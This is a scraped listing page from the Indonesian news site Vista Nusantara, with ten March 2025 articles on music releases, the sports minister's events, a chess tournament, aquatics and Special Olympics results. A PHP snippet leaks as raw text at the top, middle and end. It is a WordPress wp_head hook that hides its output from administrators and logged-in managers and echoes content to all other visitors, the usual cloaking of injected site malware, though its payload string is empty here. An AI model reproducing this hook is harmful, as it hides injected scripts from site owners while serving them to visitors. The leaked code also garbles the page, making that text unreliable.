if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999); Vista Nusantara - Laman 219 dari 271 -
?> if (!function_exists(‘f5cda30b4’)) { function f5cda30b4() { if (is_admin() || (function_exists(‘is_user_logged_in’) && is_user_logged_in() && function_exists(‘current_user_can’) && current_user_can(‘manage_options’))) { return; } echo ‘' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);

Blog

?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);
  • Setelah Lama Vakum, Sepatu Udara Rilis ‘Gawat’ Lagu Patah Hati Yang Bikin Menari

    Setelah Lama Vakum, Sepatu Udara Rilis ‘Gawat’ Lagu Patah Hati Yang Bikin Menari

    VISTA NUSANTARA – Setelah lima tahun vakum dari dunia musik, band alternatif rock Sepatu Udara resmi kembali dengan single terbaru mereka bertajuk “Gawat”. Lagu ini membawa nuansa musik up beat yang ceria, namun dengan lirik mendalam yang menceritakan rasa sakit hati akibat pengkhianatan. Kontradiksi antara melodi ceria dan tema yang pedih ini diharapkan menjadi daya tarik utama bagi pendengar.

    Dalam liriknya, single “Gawat” menggambarkan kisah seseorang yang dikhianati oleh kekasihnya, meskipun telah memberikan yang terbaik. Rasa sakit, kecewa, dan amarah bercampur aduk, namun karakter dalam lagu ini memilih untuk bangkit dan merayakan kebebasannya daripada meratapi kesedihan.

    Personel Sepatu Udara, yakni Ale Akbar (vokal), Fabyn Nanda (drum), Pay (gitar 1), Mbud (gitar 2), dan Ibenk (bass) mengatakan bahwa dengan pesan mendalam bahwa rasa sakit bisa menjadi katalisator untuk menjadi lebih kuat, lagu ini mengajak pendengar untuk mengubah emosi negatif menjadi energi positif.

    Musik bertempo up beat dalam “Gawat” mencerminkan semangat untuk bangkit dari keterpurukan. Irama yang ceria mengajak pendengar untuk menari dan melupakan rasa sakit sejenak, sementara lirik yang pedih menjadi pengingat bahwa mereka tidak sendirian dalam menghadapi masa sulit.

    “Kami berharap lagu ‘Gawat’ bisa menjadi teman bagi mereka yang sedang patah hati. Semoga lagu ini memberikan semangat dan inspirasi untuk bangkit dan menemukan kebahagiaan,” ujar personel grup band Sepatu Udara .

    Single ini ditulis oleh Alif Jibu , Ale Akbar , dan Fabyn Nanda , dengan Alif Jibu juga bertindak sebagai Music Producer. Proses produksi melibatkan Ale Akbar sebagai Executive Producer, Arif Hadianto untuk mix & mastering, serta tim seperti Oboy Gusnandar (A&R), Bambang Uta (manager), dan Reyhan Luqmanul (creative designer).

    Lagu “Gawat” milik Sepatu Udara resmi dirilis pada Sabtu, 15 Maret 2025 di bawah label Mars Music Nation dan akan dapat dinikmati di berbagai platform musik digital.

     

    (Red)

  • Menpora Apresiasi Ramadan Jazz Festival 2025 Sebagai Wadah Kebaikan Remaja Masjid

    Menpora Apresiasi Ramadan Jazz Festival 2025 Sebagai Wadah Kebaikan Remaja Masjid

    VISTA NUSANTARA – Menteri Pemuda dan Olahraga Republik Indonesia (Menpora RI) Dito Ariotedjo mengapresiasi kegiatan Ramadan Jazz Festival (RJF) 2025 di Plataran Masjid Cut Meutia, Menteng, Jakarta, Sabtu (15/3). Ajang musik tahunan ini menjadi wadah bagi remaja masjid untuk menebar kebaikan di bulan suci.

    “Ramadan Jazz Festival tahun ini sangat mewarnai pergerakan anak muda, khususnya remaja masjid,” ujar Menpora Dito selepas menyaksikan penampilan dari musisi Kunto Aji.

    Menpora Dito juga menyambut baik atas acara yang digelar oleh Remaja Islam Masjid Cut Meutia (RICMA). Dimana, hasil kontribusi tiket dari event tersebut akan didonasikan untuk merenovasi masjid dan mushola di sekitar Jakarta.

    “Hasil dari penjualan tiket akan digunakan untuk merenovasi masjid dan juga mushola, tentu gerakan ini sangat bagus sekali,” jelas Menpora Dito.

    Sementara itu, Ketua Umum RICMA, Muhammad Ridho Dafiutomo mengungkapkan, Ramadan Jazz Festival yang ke-14 ini mengusung tema “Our Time Is Now”. Tema tersebut mengajak untuk memanfaatkan momen Ramadan dengan berbuat baik.

    “Mari kita nikmati acara ini dengan penuh kebersamaan, hasil penjualan tiket dari acara ini akan didonasikan untuk membantu saudara-saudara kita yang membutuhkan,” terangnya.

    Seperti diketahui, Ramadan Jazz Festival 2025 berlangsung selama dua hari, 14-15 Maret. Gelaran musik tersebut dilakukan seusai salat tarawih.

    Adapun deretan musisi yang turut memeriahkan acara diantaranya Salma Salsabil, Rafi Sudirman, Pendarra, dan HIVI!. Kemudian ada Burgundy, Nabila Taqiyyah, Wijaya 80, Nadhif Basalamah, dan Kunto Aji.

    (Red)

  • Menpora Tinjau Turnamen Catur Cepat Ramadhan Cup PB Percasi 2025

    Menpora Tinjau Turnamen Catur Cepat Ramadhan Cup PB Percasi 2025

    VISTA NUSANTARA – Menteri Pemuda dan Olahraga Republik Indonesia (Menpora RI) Dito Ariotedjo, meninjau pelaksanaan Turnamen Catur Cepat Ramadhan Cup PB Percasi 2025 di Auditorium Wisma Menpora, Senayan, Jakarta, Sabtu (15/3).

    Kehadiran Menpora Dito disambut Kabid Organisasi PB Percasi, Laksamana Muda Rifai Ras yang menemani Menpora meninjau beberapa meja peserta yang tengah mengikuti turnamen. Tampak keduanya saling berdiskusi.

    “Kategorinya apa aja pak. GM nya ada berapa?. Mungkin esok saya akan datang lagi,” kata Menpora Dito mengakhiri tinjauannya.

    Turnamen Catur Cepat Ramadhan Cup PB Percasi 2025 ini berlangsung pada 15-16 Maret 2025 yang dipusatkan di Auditorium Wisma Menpora, memperebutkan total hadiah hingga Rp 70 juta.

    Kabid Organisasi Percasi Laksamana Muda Rifai Ras menyebut, turnamen ini sudah berlangsung rutin sejak dua dekade lalu. “Kegiatan ini sudah memasuki tahun ke-22 dan cukup lama diadakan setiap tahun di bulan Ramadhan,” ujar Rifai.

    Turnamen ini lanjutnya, untuk mengundang pecatur yang ingin mengembangkan prestasi dan bakat agar bisa menjadi master atau grand master di masa depan. “Kami terus melakukan pembinaan. Semoga ada pecatur yang berprestasi yang bisa muncul dari kejuaraan ini,” imbuhnya.

    Turnamen ini diikuti 450 peserta yang berasal dari berbagai daerah di Indonesia. Peserta terbagi dalam tiga kategori, yaitu kategori Open, kategori U-16, dan kategori U-12. “Para peserta berasal dari 22 provinsi. Grand Master (GM) dua orang dan master internasional ada 11 orang,” kata Ketua Panitia Hardianto Kenneth.

    Pada kategori Open, hadiah pertama yang disediakan sebesar Rp 10 juta, dengan total 41 peringkat terbaik yang akan mendapatkan hadiah. Untuk kategori U-16, hadiah pertama senilai Rp 1,5 juta akan diberikan kepada pemenang, dan total 15 pecatur terbaik akan mendapatkan hadiah.

    Sementara itu, pada kategori U-12, hadiah pertama sebesar Rp 1 juta, dengan 15 peringkat terbaik yang akan menerima hadiah uang. Turnamen ini menggunakan peraturan FIDE terbaru dan menerapkan sistem Swiss 9 babak dengan waktu pikir 15 menit + 5 detik. Pemain yang memegang buah catur putih diwajibkan untuk menyediakan papan dan jam catur.

    (Red)

  • Pemulihan Anggaran Olahraga, Pelatnas Siap Hadapi SEA Games Hingga Olimpiade

    Pemulihan Anggaran Olahraga, Pelatnas Siap Hadapi SEA Games Hingga Olimpiade

    VISTA NUSANTARA – Kementerian Pemuda dan Olahraga (Kemenpora) RI bersama Kementerian Keuangan (Kemenkeu) melakukan pemulihan anggaran khususnya untuk bidang olahraga. Setelah sebelumnya anggaran olahraga di Kemenpora mengalami penyesuaian berdasarkan Instruksi Presiden (Inpres) RI Nomor 1 Tahun 2025 tentang Efisiensi Belanja dalam Pelaksanaan APBN dan APBD TA 2025.

    Pemulihan anggaran ini disampaikan Menpora Dito Ariotedjo saat membuka Musyawarah Nasional (Munas) Akuatik Indonesia 2025 di Hotel JS Luwansa Jakarta, Sabtu (15/3) pagi.

    Kata Menpora, pemulihan anggaran ini berkaitan dengan pemusatan latihan nasional (pelatnas) untuk multievent olahraga yang akan diikuti Indonesia ke depan.

    “Alhamdulillah tiga hari belakangan ini Kemenpora bersama Kemenkeu sudah melakukan pemulihan anggaran khususnya untuk olahraga. Jadi insyaallah pelatnas-pelatnas tidak akan terganggu, malah insyaallah programnya makin banyak,” terang Menpora Dito.

    Dikatakan, sebelumnya anggaran pelatnas dilakukan penyesuaian dengan target utamanya untuk Asian Games 2026 di Nagoya, Jepang dan Olimpiade 2028 di Los Angeles, Amerika Serikat. Pada pemulihan anggaran ini, juga akan mencakup pelatnas untuk persiapan SEA Games 2025 di Thailand.

    “Ini untuk persiapan SEA Games khususnya, karena olahraga itu tidak bisa jangka pendek. Ini untuk persiapan dari SEA Games melompat ke Asian Games dan Olimpiade,” jelas Menpora.

    Menurut Menpora Dito, pemulihan anggaran yang dilakukan ini sesuai Asta Cita Presiden Prabowo Subianto dan Wakil Presiden Gibran Rakabuming Raka yaitu memperkuat pembangunan prestasi olahraga. Di mana Indonesia punya target berprestasi maksimal dalam Asian Games dan Olimpiade.

    Karena itu saat ini Kemenpora bersama pihak-pihak terkait tengah melakukan proses bagaimana supaya pelatnas-pelatnas menuju penyelenggaraan multievent ini makin kuat.

    “Masyarakat juga harus tahu bahwa saat ini kita ada target untuk Asian Games dan Olimpiade. Jika sebelumnya SEA Games juga merupakan target utama, tetapi saat ini bagaimana kita bisa makin kuat di Olimpiade, jadi kita harus mengubah skala prioritas,” tegas Menpora Dito.

    (Red)

  • Menpora Dito Buka Munas Akuatik Indonesia 2025, Dorong Target Olimpiade 2028

    Menpora Dito Buka Munas Akuatik Indonesia 2025, Dorong Target Olimpiade 2028

    VISTA NUSANTARA – Menteri Pemuda dan Olahraga (Menpora) RI Dito Ariotedjo secara resmi membuka Musyawarah Nasional (Munas) Pengurus Besar (PB) Akuatik Indonesia 2025 di Hotel JS Luwansa Jakarta, Sabtu (15/3) pagi. Munas ini bertema “Meningkatkan Prestasi Atlet Menuju Youth Olympic 2026 dan Olympic 2028”.

    “Dengan ini saya resmi membuka Musyawarah Nasional PB Akuatik Indonesia 2025,” tutur Menpora dilanjutkan memukul gong tanda dimulainya Munas.

    Dalam sambutannya, Menpora Dito menyampaikan terima kasih dan apresiasi pada kepengurusan PB Akuatik Indonesia periode 2020-2024 di bahwa kepemimpinan Ketua Umum (Ketum) Anindya Bakrie. Pasalnya pada periode ini, Persatuan Renang Seluruh Indonesia (PRSI) yang kini berubah nama menjadi Akuatik Indonesia telah berkontribusi besar dalam perkembangan olahraga akuatik Tanah Air.

    Apalagi Ketum Akuatik Indonesia Anindya Bakrie dalam kiprahnya sebagai Chef de Mission (CdM) Kontingen Indonesia sukses membawa pulang dua medali emas dan satu perunggu di ajang Olimpiade Paris 2024 silam.

    “Saya juga mengapresiasi untuk tema yang diambil hari ini adalah Youth Olympic 2026 dan juga Olimpiade 2028. Karena memang sesuai dengan Asta Cita Bapak Presiden Prabowo, target utama adalah Asian Games dan juga Olimpiade,” tutur Menpora.

    “Jadi tema ini sudah tepat dan tahun ini kebetulan juga ada Asian Youth Games di Bahrain pada bulan Oktober. Ini juga memerlukan seleksi,” sambung Menpora Dito.

    Karenanya pada kepengurusan baru PB Akuatik Indonesia nanti, Menpora berharap bisa meloloskan minimal dua atlet ke dalam Olimpiade 2028 melalui jalur seleksi, bukan wild card. Sementara pencapaian Youth Olympic terakhir Indonesia dengan empat atlet meliputi dua atlet seleksi dan dua atlet wild card, diharapkan bisa bertambah dalam edisi 2026 mendatang.

    “Bagaimana ke depan, program-program Akuatik Indonesia juga sesuai tagline-nya menuju Olimpiade, jadi harus benar-benar terukur dan efektif efisien. Karena kita ditarget bagaimana bisa menambah jumlah atlet dan medali di Olimpiade 2028,” tegas Menpora.

    Adapun dalam pembukaan Munas ini diberikan penghargaan Akuatik Award kepada para pelaku olahraga akuatik berprestasi. Menpora Dito turut didaulat memberikan penghargaan kepada pelatih loncat indah Indonesia Harli Ramayani yang mendapat lifetime achievement award.

    Diketahui, Munas Akuatik Indonesia yang berlangsung selama dua hari ini diikuti 30 pengurus provinsi (Pengprov) Akuatik Indonesia. Dengan salah satu agendanya yaitu memilih ketua umum PB Akuatik Indonesia periode 2025-2029.

    Hadir dalam pembukaan Munas di antaranya Wakil Menteri Keuangan Thomas Djiwandono, Sekjen Komite Olahraga Nasional Indonesia (KONI) Pusat Tubagus Ade Lukman Djajadikusuma, Ketum National Olympic Committee (NOC) Indonesia Raja Sapta Oktohari, dan Ketum PB Akuatik Indonesia Anindya Bakrie.

    (Red)

  • Menpora Dito Terima Penghargaan Senior HMI Pada Dies Natalis Ke-78

    Menpora Dito Terima Penghargaan Senior HMI Pada Dies Natalis Ke-78

    VISTA NUSANTARA – Menteri Pemuda dan Olahraga Republik Indonesia (Menpora RI), Dito Ariotedjo, menerima penghargaan sebagai Senior Himpunan Mahasiswa Islam (HMI) saat perayaan Dies Natalis ke-78 HMI di Balai Sudirman, Tebet, Jakarta, Jumat (14/3) malam.

    Penghargaan tersebut disematkan langsung kepada Menpora Dito melalui pemakaian peci khas HMI dan penyematan medali HMI. Penghargaan ini diberikan sebagai bentuk apresiasi atas dedikasi dan kontribusi nyata Menpora Dito dalam membangun bangsa, saat masih aktif di HMI.

    Dalam kesempatan tersebut, Menpora Dito, memberikan apresiasi tinggi kepada HMI yang merayakan Dies Natalis ke-78.

    “Atas nama Menpora dan  pribadi, saya mengucapkan selamat ulang tahun ke-78 kepada HMI. Semoga terus menjadi garda terdepan dalam membangun karakter dan intelektualitas pemuda Indonesia,” ucap Menpora Dito.

    Bukan hanya Menpora Dito, Menteri Koordinator Bidang Hukum, HAM, Imigrasi, dan Pemasyarakatan, Yusril Ihza Mahendra, juga mendapat penghargaan di acara tersebut.
    Menurutnya, HMI telah menjadi bagian penting dalam sejarah dan pembangunan negara.

    “Selama 78 tahun, HMI telah menjadi bagian penting dalam perjalanan bangsa dan terus berkontribusi bagi kemajuan Indonesia, baik di masa kini maupun di masa depan,” ujar Yusril di hadapan para kader dan tokoh HMI yang hadir.

    Ketua Umum PB HMI, Bagas Kurniawan, juga menyampaikan komitmennya agar HMI tetap menjadi pelopor dalam perjuangan intelektual dan kebangsaan.

    “HMI terus menjadi garda terdepan dalam perjuangan intelektual dan kebangsaan. Kini, saatnya para kader HMI mengambil peran lebih besar dalam membangun Indonesia yang maju dan berdaya saing,” tegas Bagas.

    Perayaan Dies Natalis ke-78 HMI tahun ini mengusung tema ‘HMI untuk Kedaulatan Bangsa’, yang menegaskan posisi organisasi ini sebagai nadi perjuangan bangsa.

    PB HMI menggagas tema tersebut agar HMI semakin solid dalam memperjuangkan masyarakat yang adil dan makmur sesuai dengan nilai-nilai Islam.

     

    (Red)

  • Kemenpora Apresiasi Talkshow Cipayung Plus Bertema AI Dan Kepemimpinan Perempuan

    Kemenpora Apresiasi Talkshow Cipayung Plus Bertema AI Dan Kepemimpinan Perempuan

    VISTA NUSANTARA – Kementerian Pemuda dan Olahraga Republik Indonesia (Kemenpora RI) mengapresiasi kegiatan talkshow “International Women’s Day: AI For Future Women Leadership” yang digelar oleh Cipayung Plus di Gedung Teater Wisma Kemenpora, Jakarta, Jumat (14/3) siang.

    Apresiasi tersebut disampaikan langsung oleh Staf Khusus Menpora Bidang Inovasi dan Tata Kelola Birokrasi, Chaerany Putri yang hadir sekaligus membacakan sambutan Menpora Dito Ariotedjo.

    “Kami mengapresiasi inisiatif dari kelompok Cipayung Plus yang telah mengangkat tema ini, karena sejalan dengan upaya global dalam menciptakan lingkungan yang inklusif dan memberdayakan perempuan dalam teknologi dan kepemimpinan,” ujarnya.

    Perempuan yang akrab dipanggil Uti ini juga menyampaikan bahwa acara ini bukan sekadar momentum seremonial, tetapi juga bisa menjadi refleksi bersama tentang bagaimana perempuan dapat semakin berdaya dan mengambil peran kepemimpinan di berbagai bidang, termasuk dalam era digital dan kecerdasan buatan (AI).

    Menurut Uti, teknologi, khususnya AI, telah mengubah banyak aspek kehidupan, dari ekonomi, sosial, hingga politik. Oleh karena itu, penting untuk memastikan bahwa perempuan tidak hanya menjadi pengguna teknologi, tetapi juga menjadi inovator, pemimpin, dan pengambil keputusan dalam perkembangan AI.

    “Pemerintah, melalui berbagai kebijakan, terus berkomitmen untuk mendorong kesetaraan gender di semua sektor, termasuk dalam bidang sains, teknologi, dan kepemimpinan. Kami percaya bahwa dengan akses yang setara terhadap pendidikan, pelatihan, serta kesempatan yang adil, perempuan dapat berkontribusi secara maksimal dalam membangun masa depan yang lebih baik bagi bangsa ini,” katanya.

    “Kami juga berharap kegiatan ini dapat menjadi inspirasi bagi generasi muda perempuan Indonesia untuk terus maju, berani bermimpi, dan mengambil peran penting dalam perubahan zaman. Karena sejatinya, kemajuan bangsa ini tidak dapat dicapai tanpa kontribusi penuh dari seluruh elemen masyarakat, termasuk para perempuan hebat di negeri ini. Semoga diskusi dan kegiatan yang dilakukan hari ini membawa manfaat yang besar bagi kita semua,” harapnya.

     

    (Red)

  • Indonesia Raih Prestasi Gemilang Di Special Olympics Winter World Games 2025

    Indonesia Raih Prestasi Gemilang Di Special Olympics Winter World Games 2025

    VISTA NUSANTARA – Indonesia kembali mengukir prestasi yang membanggakan di kancah internasional. Anastasia Aresyenan Bwariat dari DKI Jakarta, Siti Naswa dari Kalimantan Selatan, dan Muhammad Aden Aryadippa dari DKI Jakarta, berhasil meraih kemenangan dalam sesi final cabang olahraga Dance Sport kategori Solo-traditional dance di ajang Special Olympics Winter World Games 2025, yang digelar di Palazzo delle Feste, Bardonecchia, Italia.

    Aden memperoleh peringkat empat, sementara Anastasia (Tasya) memenangkan medali perunggu dan Naswa mendapatkan medali emas pada kategori specialty solo.

    Penampilan Tasya dengan tarian Ondel-Ondel berhasil memukau juri dan penonton dengan menampilkan keindahan budaya Betawi dengan gerakan yang lincah dan penuh energi.

    Sementara itu, Siti Naswa membawakan Tari Dayak Modern berjudul “Flying High”, yang menggabungkan unsur tradisional dengan sentuhan kontemporer yang inovatif. Aden dalam kesempatan ini, membawakan tarian Kicir-kicir dengan gerakan yang dinamis dan ceria.

    Ketiganya tidak hanya menampilkan ketrampilan luar biasa, tetapi juga membawa semangat keberagaman budaya Indonesia ke panggung dunia.

    Kemenangan ini turut disaksikan langsung oleh Charge d’Affaires KBRI Roma, Tika Wihanasari, yang hadir untuk memberikan dukungan kepada seluruh atlet Indonesia. Tidak hanya menjadi saksi dari penampilan luar biasa para atlet, Ibu Tika juga mendapat kehormatan dari Panitia untuk menyerahkan penghargaan secara langsung kepada para pemenang.

    Dalam komentarnya, Ibu Tika menyampaikan rasa bangga dan apresiasi yang mendalam atas prestasi yang diraih Tasya, Naswa dan Aden.”Kemenangan ini bukan hanya tentang medali, tetapi juga tentang semangat pantang menyerah, keberanian, dan tekad untuk terus melampaui batas. Mereka telah membuktikan bahwa keterbatasan bukanlah halangan untuk meraih prestasi. Setiap individu, tanpa terkecuali, berhak untuk bermimpi, berusaha, dan mencapai kesuksesan,” ujar Tika.

    Pada kesempatan yang sama, Ketua Delegasi, Mugaera Djohar Yusuf, menyampaikan rasa bangganya terhadap tim yang dibawanya. “Meskipun tim ini kecil, hanya terdiri dari 4 atlet, 2 pelatih, 1 dokter, dan 1 Ketua Delegasi, namun kami adalah tim yang solid. Kami ingin menunjukkan bahwa Indonesia tidak kalah dari negara lain dan mampu mengharumkan nama bangsa di panggung dunia,” ujar Mugaera.

    Beliau juga menyampaikan harapannya agar tim Indonesia kembali meraih medali dalam pertandingan kategori Duo dan Beregu yang akan berlangsung pada Jumat, 14 Maret 2025. “Perjuangan masih berlanjut, dan kami akan memberikan yang terbaik untuk Indonesia!” tambahnya dengan penuh semangat.

    Sementara Head Coach, Eva Susanti menjelaskan penampilan para atlet secara keseluruhan baik. Mereka tampil dengan semangat tinggi dengan mengenakan kustum tradisional dan lagu daerah dan menari dengan paduan elemen tari daerah dan gerakan wajib dance sport.

    “Performance mereka baik dengan penguasaan panggung yang baik, dengan gerakan yang dinamis hingga terkesan mereka bisa menguasai panggung,” ujarnya.

     

    (Red)

  • The People of the Sun Perkenalkan ‘Two Tickets’, Gerbang Menuju Album Perdana

    The People of the Sun Perkenalkan ‘Two Tickets’, Gerbang Menuju Album Perdana

    VISTA NUSANTARA – Grup band rock asal Surabaya, The People of the Sun (POTS) dengan bangga mengumumkan perilisan single terbaru mereka berjudul “Two Tickets”, yang menjadi bagian dari album perdana yang akan datang.

    Sebagai single ketiga POTS, “Two Tickets” merupakan lanjutan dari maxi-single yang dirilis akhir 2024. Lagu ini membawa harapan besar untuk menjadi gerbang menuju album perdana mereka.

    Di tengah pengerjaan maxi-single “Akal/Bagaimana Jika Gelap”, Naykilla diminta untuk mengisi vokal di salah satu trek. Saat itu pula, ide kolaborasi vokal di single “Two Tickets” muncul dan berhasil dieksekusi, membuat lagu ini menjadi kolaborasi pertama POTS dengan musisi lain.

    Dengan kolaborasi dan eksplorasi musik yang matang, unit yang digawangi oleh Adria Riswinanda (gitar, produser), Johannes Febrianto Elyas (gitar, vokal), Rahmana Wiradanu (bass, vokal), dan Bimo Putranto Widiyahutomo (drum, songwriter) ini berharap “Two Tickets” dapat menyentuh hati pendengar dan menjadi karya yang relevan bagi siapa pun yang mendengarkannya.

    Bimo Putranto Widiyahutomo, drummer POTS, menjelaskan bahwa lagu ini adalah eksplorasi dari berbagai elemen yang telah lama ada.

    “Liriknya sudah ditulis sejak 2016 tetapi tidak menemukan tempat yang tepat. Baru di 2022, ketika POTS terbentuk dan kami aktif workshop, ide untuk memasukkan lirik dan vokal muncul. Namun, proses pengerjaannya baru rampung pada 2024 setelah pergantian personil yang membawa semangat baru,” ucap Bimo.

    Dalam liriknya, lagu ini menghadirkan perspektif seorang pria yang mengungkapkan perasaannya terhadap pasangan, menggambarkan momen-momen kebersamaan yang begitu berarti hingga ia yakin untuk menawarkan “dua tiket hingga akhir dunia”—sebuah kiasan indah untuk mengajak ke jenjang hubungan yang lebih serius.

    Proses kreatif dalam penggarapan “Two Tickets” melibatkan seluruh personil POTS, dari para pemain tambahan hingga manajer band yang berkontribusi dalam aransemen. Lagu ini sepenuhnya dikerjakan secara in-house di 912studio, milik gitaris mereka, dengan dukungan Naykilla, yang turut mengisi vokal. Mixing dan mastering dilakukan oleh Avedis Mutter, menghasilkan kualitas audio yang memuaskan.

    Single “Two Tickets” adalah karya dengan nuansa soft, mengurangi elemen elektronik dan lebih fokus pada pendekatan organik. Lagu ini mencerminkan proses kreatif yang jujur, tanpa banyak intervensi distorsi, dengan aransemen vokal yang memberikan kesan emosional mendalam.

     

    (Red)

  • Menpora Dito Pastikan Review Dan Skala Prioritas Atlet Jelang SEA Games, Asian Games, Dan Olimpiade

    Menpora Dito Pastikan Review Dan Skala Prioritas Atlet Jelang SEA Games, Asian Games, Dan Olimpiade

    VISTA NUSANTARA – Menteri Pemuda dan Olahraga Republik Indonesia (Menpora RI) Dito Ariotedjo memastikan telah melakukan review dengan seluruh cabang olahraga terkait dengan penyesuaian dan skala prioritas untuk persiapan atlet menuju SEA Games, Asian Games dan Olimpiade.

    Hal itu disampaikan Menpora Dito usai menghadiri acara Merah Putih Gala “73rd NOC Indonesia Anniversary di The Ritz-Carlton Jakarta, Pacific Place, Jakarta, Selasa (11/3) malam.

    “Saat ini sudah dilakukan review bersama seluruh cabang olahraga terkait dengan penyesuaian dan skala prioritas. Kita sebelumnya sudah memiliki rencana awal, dan ini kita sesuaikan,” kata Menpora Dito.

    Terkait dukungan terhadap cabang olahraga, Menpora Dito mengatakan Kemenpora akan terus memberikan dukungan. “Alhamdulilah kita mendapatkan dukungan dari Bapak Presiden dan juga Kementerian Keuangan yang secara pasti sesuai dengan Asta Cita Presiden Prabowo bagaimana fokus utama untuk Asian Games dan Olimpiade,” tambahnya.

    Terkait persiapan SEA Games, Kemenpora pasti akan mendukung dan harus dilihat skala prioritas dimana cabang olahraga yang berkaitan erat dengan SEA Games, Asian Games dan Olimpiade.

    “Yang pasti per hari ini, Insyaallah semua cabang olahraga tidak ada yang terganggu untuk persiapan tersebut. Tapi yang namanya penyesuaian pasti ada. Jadi kita lihat bagaimana nanti hasil final dukungan untuk persiapan SEA Games menuju Asian Games dan Olimpiade,” kata Menpora Dito.

     

    (Red)

?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);